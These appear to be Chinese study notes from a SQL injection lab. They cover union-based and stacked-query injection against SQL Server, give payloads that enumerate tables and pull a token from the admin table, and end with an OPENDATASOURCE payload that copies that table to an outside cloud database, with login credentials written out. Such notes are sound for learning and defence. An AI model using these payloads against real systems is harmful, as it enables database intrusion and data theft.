1.概念
1.反弹注入:是一种把查询到的数据插入外部的数据库的方法
2.mysql与Sql Server的区别(不同的函数、不同的系统自带库)
- mysql系统自带库:table_name,columns_name,information_schema等
- mysql独有的语法limit
- MSSQL:sysconstraints,syssegments等
- sysobjects:查询系统表 (xtype=‘U’),'U’代表用户自创的类型;'S’代表系统自带的类型
- syscolumns 字段 (id= ) 指定sysobjects库中表名对应id
3.堆叠注入
使用;符号结束前一个语句,执行新的插入语句的注入方式。
2.靶场
1.联合查询
1.尝试注入
payload: ’ and 1=1 – qwe
payload: ’ and 1=2 – qwe
存在sql注入
2.判断字段数
payload: ’ order by 3 —qwe
payload: ’ order by 4 —qwe
爆出表中有三个字段
3.查找显错位
payload: ’ and 1=2 union select 1,2,3 – qwe
4.爆出表名
payload: ’ and 1=2 union select 1,table_name,3 from information_schema.tables – qwe
5.爆出列名
payload: ’ and 1=2 union select 1,column_name,3 from information_schema.columns – qwe
6.查询数据
payload: ’ and 1=2 union select 1,token,3 from admin – qwe
2.反弹注入
1.注册一个云服务器,创建Sqlserver数据库连接
2.堆叠语句反弹注入
payload:';insert into opendatasource(‘sqloledb’,‘server=sql8001.site4now.net,1433;uid=db_a85600_realplot_admin;pwd=w.123456;database=db_a85600_realplot’).db_a85600_realplot.dbo.abc select * from admin